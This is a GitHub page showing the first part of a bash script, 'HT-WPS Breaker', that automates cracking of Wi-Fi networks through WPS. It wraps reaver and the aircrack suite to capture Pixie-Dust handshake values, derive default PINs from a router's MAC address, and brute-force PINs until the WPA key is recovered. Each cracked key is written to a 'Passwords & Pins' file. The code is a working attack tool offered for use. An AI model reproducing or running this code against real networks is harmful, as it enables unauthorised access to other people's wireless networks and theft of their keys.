-
Notifications
You must be signed in to change notification settings - Fork 355
/
HT-WB.sh
executable file
·2839 lines (2828 loc) · 120 KB
/
HT-WB.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
# Regular Colors
Black='\e[0;30m' # Black
Red='\e[0;31m' # Red
Green='\e[0;32m' # Green
Yellow='\e[0;33m' # Yellow
Blue='\e[0;34m' # Blue
Purple='\e[0;35m' # Purple
Cyan='\e[0;36m' # Cyan
White='\e[0;37m' # White
# Bold
BBlack='\e[1;30m' # Black
BRed='\e[1;31m' # Red
BGreen='\e[1;32m' # Green
BYellow='\e[1;33m' # Yellow
BBlue='\e[1;34m' # Blue
BPurple='\e[1;35m' # Purple
BCyan='\e[1;36m' # Cyan
BWhite='\e[1;37m' # White
# Default
DefaultColor='\e[39m' # Default foreground color
HT_FOLDER="HT-WPS-Breaker$(date "+%T" | tr -d ":")"
Temporary="/tmp/${HT_FOLDER}"
####################################################
########Verify the folder of Temporary files########
####################################################
Ver_Dir=`ls /tmp | grep -E ^${HT_FOLDER}$`
if [ "$Ver_Dir" != "" ];then
rm -rf ${Temporary}
mkdir ${Temporary}
else
mkdir ${Temporary}
fi
####################################################
#--------------------------------------------------#
####################################################
##############Verify Desktop Folder ################
####################################################
if [ $(ls ~ | grep Desktop) != "" ]
then
Desktop_PATH=~/Desktop
elif [ $(ls ~ | grep Bureau) != "" ]
then
Desktop_PATH=~/Bureau
else
Desktop_PATH=~
fi
####################################################
RM_HT_FOLDER() {
echo ""
echo ""
echo ""
echo -e "$White [${Green} ok ${White}]$Green HT-WPS Breaker$White By$BYellow Silent Ghost X."
echo ""
echo -e "$White [${Red} !! ${White}] Remove any temporary file."
rm -rf ${Temporary}
sleep 1
echo ""
echo -e "$White [${Red} ++ ${White}]$Green Greetz to ${White}: ${Cyan}AKAS${White} &&${Cyan} Fantome195${White} ."
echo ""
exit
}
exit_function() {
echo ""
echo ""
echo ""
echo -e "$White [${Red}!$White] Remove any temporary file ."
rm -rf ${Temporary}
sleep 1
echo ""
if [ "$mode_monitor" == "active" ]
then
echo -e "$White [${Red}!${White}]$BRed Stop$White the ${Green}Monitor Mode$White."
ifconfig $mon down && iwconfig $mon mode managed && ifconfig $mon up > /dev/null 2> /dev/null &
echo ""
fi
echo -e "$White [+]$Green Greetz to : ${Cyan}AKAS${White} &&${Cyan} Fantome195${White} ."
echo -e "$DefaultColor"
exit
}
kill_wep_function() {
WEP_KILL=1
Quit=1
IVs=20000
echo ""
echo -e " ${Yellow}>>${White} The Cracking process has${Red} stoped${White} , G00D LuCk Next Time ."
echo -e " ${Yellow}>>${White} Kill all processes running in${Red} background${White} ."
echo ""
echo -e "$White [${Red}!${White}]$White Sorry password not found , good luck next time."
kill -9 $Airodump_PID 2> /dev/null
kill -9 $arpreplay_PID 2> /dev/null
kill -9 $aircrack_PID 2> /dev/null
tset
exit_function
}
kill_reaver() {
kill -9 $ReaverID 2> /dev/null
Quit=1
}
kill_wash() {
kill -9 $WashID 2> /dev/null
Quit=1
}
kill_load() {
PID=$(($PID-1))
kill -9 $PID 2> /dev/null
}
kill_Hidden() {
Quit=1
echo ""
echo ""
echo -e " ${Yellow}>>${White} The Cracking process has${Red} stoped${White} , G00D LuCk Next Time ."
echo -e " ${Yellow}>>${White} Kill all processes running in${Red} background${White} ."
echo ""
echo -e "$White [${Red}!${White}]$White Sorry Name not found , good luck next time ."
kill -9 $aireplayID 2> /dev/null
kill -9 $Airodump_PID 2> /dev/null
exit_function
}
arguments() {
echo "" > ${Temporary}/empty.txt
reaver -i $mon -b "$BSSID" -c "$CHANNEL" -e "$ESSID" -vvv -n -L -P -s ${Temporary}/empty.txt > ${Temporary}/Reaver.txt &
ReaverID=$!
disown $ReaverID
e=`cat ${Temporary}/Reaver.txt | grep PKE: | cut -d' ' -f3 | sed -n 1p 2> /dev/null`
r=`cat ${Temporary}/Reaver.txt | grep PKR: | cut -d' ' -f3 | sed -n 1p 2> /dev/null`
s=`cat ${Temporary}/Reaver.txt | grep E-Hash1: | cut -d' ' -f3 | sed -n 1p 2> /dev/null`
z=`cat ${Temporary}/Reaver.txt | grep E-Hash2: | cut -d' ' -f3 | sed -n 1p 2> /dev/null`
a=`cat ${Temporary}/Reaver.txt | grep AuthKey: | cut -d' ' -f3 | sed -n 1p 2> /dev/null`
n=`cat ${Temporary}/Reaver.txt | grep E-Nonce: | cut -d' ' -f3 | sed -n 1p 2> /dev/null`
m=`cat ${Temporary}/Reaver.txt | grep R-Nonce: | cut -d' ' -f3 | sed -n 1p 2> /dev/null`
WPS=`cat ${Temporary}/Reaver.txt | grep 'WPS PIN'`
echo ""
echo -e "${White} +${Yellow}------------------------------${White}+"
echo -e "${Yellow} |${White} [${Red}+${White}]$Yellow all required arguments${Yellow} |"
echo -e "${White} +${Yellow}------------------------------${White}+"
echo ""
v=0
Quit=0
while [ $v == 0 ] && [ $Quit == 0 ] #Reaver
do
n=`cat ${Temporary}/Reaver.txt | grep 'Trying pin' 2> /dev/null`
p=`cat ${Temporary}/Reaver.txt | wc -l 2> /dev/null`
if [ "$n" != "" ]
then
echo ""
echo -en "\033[1A\033[2K"
t=`cat ${Temporary}/Reaver.txt | sed -n $p'p' | cut -c 4- 2> /dev/null`
echo -ne "$White [+]$Green$t"
v=1
else
t=`cat ${Temporary}/Reaver.txt | sed -n $p'p' | cut -c 4- 2> /dev/null`
echo -ne "\r$White [+]$Red $t"
v=0
fi
done
BTN () {
if [ $Quit == 0 ]
then
echo ""
sleep 0.2
v=0
fi
}
BTN
while [ $v == 0 ] && [ $Quit == 0 ] #E-Nonce
do
n=`cat ${Temporary}/Reaver.txt | grep E-Nonce: | cut -d' ' -f3 | sed -n 1p 2> /dev/null`
if [ "$n" != "" ]
then
echo ""
echo -en "\033[1A\033[2K"
echo -ne "$White [+] E-Nonce: ${Green}$n"
v=1
else
echo -ne "\r$White [+] E-Nonce:$Red Waiting for packet"
v=0
fi
done
BTN
while [ $v == 0 ] && [ $Quit == 0 ] #PKE
do
e=`cat ${Temporary}/Reaver.txt | grep PKE: | cut -d' ' -f3 | sed -n 1p 2> /dev/null`
if [ "$e" != "" ]
then
echo ""
echo -en "\033[1A\033[2K"
echo -ne "$White [+] PKE: ${Green}$e"
v=1
else
echo -ne "\r$White [+] PKE:$Red Waiting for packet"
v=0
fi
done
BTN
while [ $v == 0 ] && [ $Quit == 0 ] #R-Nonce
do
m=`cat ${Temporary}/Reaver.txt | grep R-Nonce: | cut -d' ' -f3 | sed -n 1p 2> /dev/null`
if [ "$m" != "" ]
then
echo ""
echo -en "\033[1A\033[2K"
echo -ne "$White [+] R-Nonce: ${Green}$m"
v=1
else
echo -ne "\r$White [+] R-Nonce:$Red Waiting for packet"
v=0
fi
done
BTN
while [ $v == 0 ] && [ $Quit == 0 ] #PKR
do
r=`cat ${Temporary}/Reaver.txt | grep PKR: | cut -d' ' -f3 | sed -n 1p 2> /dev/null`
if [ "$r" != "" ]
then
echo ""
echo -en "\033[1A\033[2K"
echo -ne "$White [+] PKR: ${Green}$r"
v=1
else
echo -ne "\r$White [+] PKR:$Red Waiting for packet"
v=0
fi
done
BTN
while [ $v == 0 ] && [ $Quit == 0 ] #AuthKey
do
a=`cat ${Temporary}/Reaver.txt | grep AuthKey: | cut -d' ' -f3 | sed -n 1p 2> /dev/null`
if [ "$a" != "" ]
then
echo ""
echo -en "\033[1A\033[2K"
echo -ne "$White [+] AuthKey: ${Green}$a"
v=1
else
echo -ne "\r$White [+] AuthKey:$Red Waiting for packet"
v=0
fi
done
BTN
while [ $v == 0 ] && [ $Quit == 0 ] #E-Hash1
do
s=`cat ${Temporary}/Reaver.txt | grep E-Hash1: | cut -d' ' -f3 | sed -n 1p 2> /dev/null`
if [ "$s" != "" ]
then
echo ""
echo -en "\033[1A\033[2K"
echo -ne "$White [+] E-Hash1: ${Green}$s"
v=1
else
echo -ne "\r$White [+] E-Hash1:$Red Waiting for packet"
v=0
fi
done
BTN
while [ $v == 0 ] && [ $Quit == 0 ] #E-Hash2
do
z=`cat ${Temporary}/Reaver.txt | grep E-Hash2: | cut -d' ' -f3 | sed -n 1p 2> /dev/null`
if [ "$z" != "" ]
then
echo ""
echo -en "\033[1A\033[2K"
echo -ne "$White [+] E-Hash2: ${Green}$z"
v=1
else
echo -ne "\r$White [+] E-Hash2:$Red Waiting for packet"
v=0
fi
done
sleep 0.2
echo ""
echo ""
if [ "$BI" -eq "0" ]
then
echo -e "${White} +${Yellow}-------------------------------------------${White}+"
echo -e "${Yellow} |${White} [${Red}+${White}]${Yellow} Information about Access Point (AP) |"
echo -e "${White} +${Yellow}-------------------------------------------${White}+"
echo ""
echo -e "$White [+] ESSID: $Green$ESSID"
sleep 0.2
echo -e "$White [+] BSSID: $Green$BSSID "
sleep 0.2
echo -e "$White [+] Channel: $Green$CHANNEL "
sleep 0.2
if [ "$menu" -ne 1 ]
then
echo -e "$White [+] Encryption:$Green $PRIVACY"
sleep 0.2
echo -e "$White [+] Speed:$Green$SPEED"
fi
Manufacturer=`cat ${Temporary}/Reaver.txt | grep Manufacturer: | cut -d' ' -f2- | sed -n 1p 2> /dev/null`
Model_Name=`cat ${Temporary}/Reaver.txt | grep Name: | cut -d' ' -f2- | sed -n 1p 2> /dev/null`
Model_Number=`cat ${Temporary}/Reaver.txt | grep 'Model Number:' | cut -d' ' -f2- | sed -n 1p 2> /dev/null`
Serial_Number=`cat ${Temporary}/Reaver.txt | grep 'Serial Number:' | cut -d' ' -f2- | sed -n 1p 2> /dev/null`
echo -e "$White [+] $Manufacturer"
sleep 0.2
echo -e "$White [+] $Model_Name"
sleep 0.2
echo -e "$White [+] $Model_Number"
sleep 0.2
echo -e "$White [+] $Serial_Number"
sleep 0.2
echo ""
sleep 0.2
fi
kill -9 $ReaverID 2> /dev/null
}
GENERATE_DEFAULT_PIN() {
LAST_SIX_DIGITS=$(echo $MAC | awk -F":" '{print $4,$5,$6}' | tr -d " ")
HEX_TO_DEC=$(printf '%d\n' 0x${LAST_SIX_DIGITS}) 2> /dev/null
HALF_MAC=`expr '(' $HEX_TO_DEC '%' 10000000 ')'`
PIN=`expr 10 '*' $HALF_MAC`
ACCUM=0
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
THE_REST=`expr $ACCUM '%' 10`
CHECK_THE_REST=`expr '(' 10 '-' $THE_REST ')' '%' 10`
declare PIN$(echo $MAC | tr -d ":")[1]=$(printf '%08d\n' `expr $PIN '+' $CHECK_THE_REST`)
}
Try_Multi_PIN_REAVER() {
Success=2
PP=0
TS1=""
TS2=""
TD=""
if [ "${#ESSID}" -gt 5 ]
then
for (( TS=6;TS<=${#ESSID};TS++))
do
TS2=${TS2}' '
done
for (( TS=1;TS<=${#ESSID};TS++))
do
TD=${TD}-
done
else
Nu_TS=$((5-${#ESSID}))
for (( TS=1;TS<=${Nu_TS};TS++))
do
TS1=${TS1}' '
done
for (( TS=1;TS<=5;TS++))
do
TD=${TD}-
done
fi
if [ "$MA" -lt "10" ]
then
ID="0$MA"
else
ID="$MA"
fi
echo ""
echo -e "${White} +${Yellow}----${White}+${Yellow}--${TD}--${White}+${Yellow}---------------------${White}+"
echo -e "${Yellow} |${Red} ID ${Yellow}|${Cyan} ESSID${TS2} ${Yellow}|${Green} BSSID ${Yellow}|"
echo -e "${White} +${Yellow}----${White}+${Yellow}--${TD}--${White}+${Yellow}---------------------${White}+"
echo -e "${Yellow} |${White} $ID ${Yellow}|${White} $ESSID${TS1} ${Yellow}|${White} ${BSSID} ${Yellow}|"
echo -e "${White} +${Yellow}----${White}+${Yellow}--${TD}--${White}+${Yellow}---------------------${White}+"
echo ""
echo -e "${White} +${Yellow}----------------------------------${White}+"
echo -e "${Yellow} |${White} [${Red}+${White}]$White Run${Red} Reaver${White} With Default PIN${Yellow} |"
echo -e "${White} +${Yellow}----------------------------------${White}+"
echo ""
while [ $Success == 2 ] && [ $PP -lt "$PIN_NUM" ]
do
echo "" > ${Temporary}/empty.txt
if [ "$PIN_NUM" -gt 1 ]
then
PIN=`echo $((PIN$(echo $BSSID | tr -d ":")[$PP]))`
elif [ "$HHDP_GEN" -eq 1 ]
then
PP=$((PP+1))
else
PIN=`echo $((PIN$(echo $BSSID | tr -d ":")[1]))`
PP=$((PP+1))
fi
reaver -i $mon -b $BSSID -c $CHANNEL -e "$ESSID" -n -vv -p $PIN -L -s -N -d 15 -T .5 -r 3:15 ${Temporary}/empty.txt > ${Temporary}/Get_Pass.txt &
ReaverID=$!
disown $ReaverID
sleep 1.0
Success=0
Quit=0
while [ $Success == 0 ] && [ $Quit == 0 ] #Reaver
do
p2_index=`cat ${Temporary}/Get_Pass.txt | grep 'p2_index set to' 2> /dev/null`
Key=`cat ${Temporary}/Get_Pass.txt | grep -w "WPA PSK" | awk -F\' '{print $2}' 2> /dev/null`
if [ "$p2_index" != "" ]
then
echo ""
echo -en "\033[1A\033[2K"
echo -ne "$White [+]$Red Bad ${White}PIN ."
Success=2
elif [ "$Key" != "" ]
then
echo ""
echo -en "\033[1A\033[2K"
echo -e "$White [+] The process of${Green} Reaver${White} has completed${Green} successfully${White}."
Success=1
else
echo -ne "\r$White [+] Running$Green Reaver$White with the following$Green PIN${Red} $PIN ${White}..."
Success=0
fi
sleep 1.0
done
kill -9 $ReaverID 2> /dev/null
PP=$((PP+1))
done
if [ "$Key" != "" ]
then
echo " [+] ESSID >> $ESSID" > ${Desktop_PATH}/Passwords\ \&\ Pins/${BSSID}.txt
echo " [+] BSSID >> $BSSID" >> ${Desktop_PATH}/Passwords\ \&\ Pins/${BSSID}.txt
echo " [+] Channel >> $CHANNEL" >> ${Desktop_PATH}/Passwords\ \&\ Pins/${BSSID}.txt
echo " [+] PIN >> \"$PIN\"" >> ${Desktop_PATH}/Passwords\ \&\ Pins/${BSSID}.txt
echo " [+] Key >> \"$Key\"" >> ${Desktop_PATH}/Passwords\ \&\ Pins/${BSSID}.txt
echo " [+] Date >> $cr_date" >> ${Desktop_PATH}/Passwords\ \&\ Pins/${BSSID}.txt
echo ""
echo -e "${White} [+]${Yellow} ESSID ${Red}>>${Cyan} $ESSID"
echo -e "${White} [+]${Yellow} BSSID ${Red}>>${Cyan} $BSSID"
echo -e "${White} [+]${Yellow} Channel ${Red}>>${White} $CHANNEL"
echo -e "${White} [+]${Yellow} PIN ${Red}>>${White} \"${Green}$PIN${White}\""
echo -e "${White} [+]${Yellow} Key ${Red}>>${White} \"${Green}$Key${White}\""
echo -e "${White} [+]${Yellow} Date ${Red}>>${White} $cr_date"
echo ""
echo -e "$White [${Yellow}+${White}]$Green Congratulation ${White}(${Red}^${White}_${Red}^${White}) "
echo ""
else
echo ""
echo ""
echo ""
echo -e "$White [${Red}!${White}] Sorry Key not found , good luck next time ."
fi
ByPASS_Result=1
echo ""
}
table() {
max_s1=""
max_s2=""
max_sd=""
if [ "${max_s}" -gt $Nm_s ]
then
for (( TS=$((Nm_s+1));TS<=${max_s};TS++))
do
max_s2=${max_s2}' '
done
for (( TS=1;TS<=${max_s};TS++))
do
max_sd=${max_sd}-
done
else
Nu_TS=$((${Nm_s}-${max_s}))
for (( TS=1;TS<=${Nu_TS};TS++))
do
max_s1=${max_s1}' '
done
for (( TS=1;TS<=5;TS++))
do
max_sd=${max_sd}-
done
fi
}
function Calc_Table() {
SPC[$column]=""
for (( A=0; A<$(($2-$1)); A++ ))
do
SPC[$column]=${SPC[$column]}' '
done
}
function Calc_Table1() {
SPCS[$column]=${SPCS[$column]}' '
Dshs[$column]="-"
for (( A=0; A<$(($2-$1)); A++ ))
do
SPCS[$column]=${SPCS[$column]}' '
Dshs[$column]=${Dshs[$column]}"-"
done
}
If_Print() {
if [ "$If_Print_Num" -lt "10" ]
then
max_si3=""
max_cs3=""
for (( TS=${#Interface[$c]};TS<=${max_si};TS++))
do
max_si3=${max_si3}' '
done
for (( TS=$((${#Chipset[$c]}+1));TS<=${max_cs};TS++))
do
max_cs3=${max_cs3}' '
done
echo -e "${Yellow} |${White} 0$c${Yellow} |${White} ${Interface[$c]}${max_si1}${max_si3}${Yellow} |${White} ${Chipset[$c]}${max_cs1}${max_cs3}${Yellow} |"
else
echo -e "${Yellow} |${White} $c${Yellow} |${White} ${Interface[$c]}${max_si1}${max_si3}${Yellow} |${White} ${Chipset[$c]}${max_cs1}${max_cs3}${Yellow} |"
fi
}
listInterfaces() {
unset iface_list
for iface in $(ls -1 /sys/class/net)
do
if [ -f /sys/class/net/${iface}/uevent ]; then
if $(grep -q DEVTYPE=wlan /sys/class/net/${iface}/uevent)
then
iface_list="${iface_list}\n ${iface}"
fi
fi
done
if [ -x "$(command -v iwconfig 2>&1)" ] && [ -x "$(command -v sort 2>&1)" ]; then
for iface in $(iwconfig 2> /dev/null | sed 's/^\([a-zA-Z0-9_.]*\) .*/\1/'); do
iface_list="${iface_list}\n ${iface}"
done
iface_list="$(printf "${iface_list}" | sort -bu)"
fi
}
getChipset() {
#this needs cleanup, we shouldn't have multiple lines assigning chipset per bus
#fix this to be one line per bus
if [ -f /sys/class/net/$iface/device/modalias ]; then
BUS="$(cut -d ":" -f 1 /sys/class/net/$iface/device/modalias)"
if [ "$BUS" = "usb" ]; then
if [ "${LSUSB}" = "1" ]; then
BUSINFO="$(cut -d ":" -f 2 /sys/class/net/$iface/device/modalias | cut -b 1-10 | sed 's/^.//;s/p/:/')"
CHIPSET="$(lsusb -d "$BUSINFO" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
elif [ "${LSUSB}" = "0" ]; then
printf "Your system doesn't seem to support usb but we found usb hardware, please report this.\n"
exit 1
fi
#yes the below line looks insane, but broadcom appears to define all the internal buses so we have to detect them here
elif [ "${BUS}" = "pci" -o "${BUS}" = "pcmcia" ] && [ "${LSPCI}" = "1" ]; then
if [ -f /sys/class/net/$iface/device/vendor ] && [ -f /sys/class/net/$iface/device/device ]; then
DEVICEID="$(cat /sys/class/net/$iface/device/vendor):$(cat /sys/class/net/$iface/device/device)"
CHIPSET="$(lspci -d $DEVICEID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
else
BUSINFO="$(printf "$ethtool_output" | grep bus-info | cut -d ":" -f "3-" | sed 's/^ //')"
CHIPSET="$(lspci | grep "$BUSINFO" | head -n1 - | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
DEVICEID="$(lspci -nn | grep "$BUSINFO" | grep '[[0-9][0-9][0-9][0-9]:[0-9][0-9][0-9][0-9]' -o)"
fi
elif [ "${BUS}" = "sdio" ]; then
if [ -f /sys/class/net/$iface/device/vendor ] && [ -f /sys/class/net/$iface/device/device ]; then
DEVICEID="$(cat /sys/class/net/$iface/device/vendor):$(cat /sys/class/net/$iface/device/device)"
fi
if [ "${DEVICEID}" = '0x02d0:0x4330' ]; then
CHIPSET='Broadcom 4330'
elif [ "${DEVICEID}" = '0x02d0:0x4329' ]; then
CHIPSET='Broadcom 4329'
elif [ "${DEVICEID}" = '0x02d0:0x4334' ]; then
CHIPSET='Broadcom 4334'
elif [ "${DEVICEID}" = '0x02d0:0xa94c' ]; then
CHIPSET='Broadcom 43340'
elif [ "${DEVICEID}" = '0x02d0:0xa94d' ]; then
CHIPSET='Broadcom 43341'
elif [ "${DEVICEID}" = '0x02d0:0x4324' ]; then
CHIPSET='Broadcom 43241'
elif [ "${DEVICEID}" = '0x02d0:0x4335' ]; then
CHIPSET='Broadcom 4335/4339'
elif [ "${DEVICEID}" = '0x02d0:0xa962' ]; then
CHIPSET='Broadcom 43362'
elif [ "${DEVICEID}" = '0x02d0:0xa9a6' ]; then
CHIPSET='Broadcom 43430'
elif [ "${DEVICEID}" = '0x02d0:0x4345' ]; then
CHIPSET='Broadcom 43455'
elif [ "${DEVICEID}" = '0x02d0:0x4354' ]; then
CHIPSET='Broadcom 4354'
elif [ "${DEVICEID}" = '0x02d0:0xa887' ]; then
CHIPSET='Broadcom 43143'
else
CHIPSET="unable to detect for sdio $DEVICEID"
fi
else
CHIPSET="Not pci, usb, or sdio"
fi
#we don't do a check for usb here but it is obviously only going to work for usb
elif [ -f /sys/class/net/$iface/device/idVendor ] && [ -f /sys/class/net/$iface/device/idProduct ]; then
DEVICEID="$(cat /sys/class/net/$iface/device/idVendor):$(cat /sys/class/net/$iface/device/idProduct)"
if [ "${LSUSB}" = "1" ]; then
CHIPSET="$(lsusb | grep -i "$DEVICEID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
elif [ "${LSUSB}" = "0" ]; then
CHIPSET="idVendor and idProduct found on non-usb device, please report this."
fi
elif [ "${DRIVER}" = "mac80211_hwsim" ]; then
CHIPSET="Software simulator of 802.11 radio(s) for mac80211"
elif $(printf "$ethtool_output" | awk '/bus-info/ {print $2}' | grep -q bcma)
then
BUS="bcma"
if [ "${DRIVER}" = "brcmsmac" ] || [ "${DRIVER}" = "brcmfmac" ] || [ "${DRIVER}" = "b43" ]; then
CHIPSET="Broadcom on bcma bus, information limited"
else
CHIPSET="Unrecognized driver \"${DRIVER}\" on bcma bus"
fi
else
CHIPSET="non-mac80211 device? (report this!)"
fi
}
GET_INTERFACE_CHIPSET() {
if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ]; then
if [ ! -x "$(command -v lspci 2>&1)" ]; then
printf "Please install lspci from your distro's package manager.\n"
exit 1
else
LSPCI=1
fi
else
LSPCI=0
fi
if [ -d /sys/bus/usb ]; then
if [ ! -x "$(command -v lsusb 2>&1)" ]; then
printf "Please install lsusb from your distro's package manager.\n"
exit 1
else
LSUSB=1
fi
else
LSUSB=0
fi
listInterfaces
GIC=1
for iface in $(printf "${iface_list}"); do
unset ethtool_output DRIVER FROM FIRMWARE STACK MADWIFI MAC80211 BUS BUSADDR BUSINFO DEVICEID CHIPSET EXTENDED PHYDEV ifacet DRIVERt FIELD1 FIELD1t FIELD2 FIELD2t CHIPSETt
#add a RUNNING check here and up the device if it isn't already
ethtool_output="$(ethtool -i $iface 2>&1)"
if [ "$ethtool_output" != "Cannot get driver information: Operation not supported" ]; then
getChipset ${iface}
INTERFACE[$GIC]="$iface"
CHIPSET_VAR[$GIC]="$CHIPSET"
else
printf "\nethtool failed...\n"
printf "Only mac80211 devices on kernel 2.6.33 or higher are officially supported by airmon-ng.\n"
exit 1
fi
GIC=$((GIC+1))
done
}
Ver_Mon_WCar_Fun() {
echo ""
echo "[+] Scanning for wireless devices ..."
if [ $VerCar -ge 1 ] && [ "$VerMon" = "" ]
then
GET_INTERFACE_CHIPSET
NUM_INT_CHIP=1
Count_INT=0
max_si=0
max_cs=0
for (( c=1; c<${GIC}; c++))
do
m[$c]=`iwconfig 2>&1 | grep "${INTERFACE[$c]}" | grep "ESSID" | awk '{print $1}'`
if [ "${m[$c]}" != "" ]
then
Count_INT=$((Count_INT+1))
Interface[$Count_INT]=${INTERFACE[$c]}
Chipset[$Count_INT]=${CHIPSET_VAR[$c]}
NUM_INT_CHIP=$((NUM_INT_CHIP+1))
fi
if [ "${#Chipset[$Count_INT]}" -gt "$max_cs" ]
then
max_cs=${#Chipset[$Count_INT]}
fi
if [ "${#Interface[$Count_INT]}" -gt "$max_si" ]
then
max_si=${#Interface[$Count_INT]}
fi
done
NUM_INT_CHIP=$((NUM_INT_CHIP-1))
max_s=${max_cs}
Nm_s=7
table
max_cs1=$max_s1
max_cs2=$max_s2
max_csd=$max_sd
max_s=${max_si}
Nm_s=9
table
max_si1=$max_s1
max_si2=$max_s2
max_sid=$max_sd
echo -e "[+] We found$Green ${NUM_INT_CHIP}$White wireless device(s)."
echo ""
max_si4=""
for (( TS=$((${#max_sid}+1));TS<=9;TS++))
do
max_si4=${max_si4}-
done
echo -e "${White} +${Yellow}----${White}+${Yellow}--${max_sid}${max_si4}---${max_csd}---${White}+"
echo -e "${Yellow} |${Red} ID${Yellow} |${Cyan} Interface${max_si2}${Yellow} |${Green} Chipset${max_cs2}${Yellow} |"
echo -e "${White} +${Yellow}----${White}+${Yellow}--${max_sid}${max_si4}---${max_csd}---${White}+"
If_Print_Num="$NUM_INT_CHIP"
for (( c=1; c<=${Count_INT}; c++))
do
If_Print
done
echo -e "${White} +${Yellow}----${White}+${Yellow}--${max_sid}${max_si4}---${max_csd}---${White}+"
echo ""
echo ""
V_number=0
while [ "$V_number" != "1" ]
do
echo -en "\033[1A\033[2K"
echo -e -n "${White}[+] Select$BRed number$White of wireless device to put into$Green monitor mode$White [${Green}1-${NUM_INT_CHIP}$White]:$Green"
read number
if [[ "$number" =~ ^[+-]?[0-9]+$ ]]
then
if [ $number -ge 1 ] && [ $number -le "$NUM_INT_CHIP" ]; then
V_number=1
wlan=${Interface[$number]}
else
V_number=0
fi
else
V_number=0
fi
done
Wait_Msg="Enabling monitor mode on$Green $wlan $White."
End_Msg="${Green}Mode Monitor$White is enabled ."
trap kill_load SIGINT
